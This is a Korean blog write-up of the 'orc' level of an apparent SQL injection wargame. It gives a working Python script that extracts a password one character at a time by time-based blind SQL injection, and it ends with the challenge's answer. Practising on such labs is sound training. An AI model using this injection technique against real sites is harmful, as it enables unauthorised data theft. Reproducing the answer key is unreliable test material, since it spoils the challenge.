728x90
반응형
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
- 상기 조건문을 통해, 실제 pw 데이터와 일치하는 비밀번호 값을 입력해야지 문제가 풀리는 것을 확인하였다.
- 제일 먼저 떠오른 풀이 방법은 Time Based SQL Injection 기법을 이용하여 pw 값을 밝혀내는 것이었다.
- 그래서 직접 아래와 같이 파이썬 코드를 짜보았다.
import requests
url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' #url 주소 입력
def find_pw():
pw_len=8
string=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122):
value ="' or 2=2 and if(ascii(substr(pw,{},1))={}, sleep(3), 1)%23".format(pw_value,ascii)
cookies={'PHPSESSID' : '내 세션 값'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if(response.elapsed.total_seconds() > 2):
string = string + chr(ascii)
print("{}번 째의 pw의 값은!".format(pw_value),string)
break
print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
print(string)
find_pw()
- 비밀번호의 길이를 확신해서 8로 적은 이유는, 사실 비밀번호 길이를 구하는 코드도 짰는데 뭐가 잘못되었는 지 자꾸 4에서 멈춰서 무작위 대입 기법으로 대충 때려맞췄더니 8자리 라는 것을 알았기 때문이다.
정답: https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852
728x90
반응형
'Hacking > LOS' 카테고리의 다른 글
[LOS] 6. darkelf (0) | 2023.07.06 |
---|---|
[LOS] 5. wolfman (0) | 2023.07.06 |
[LOS] 3. goblin (0) | 2023.07.05 |
[LOS] 2. cobolt (0) | 2023.07.05 |
[LOS] 1. gremlin (0) | 2023.07.05 |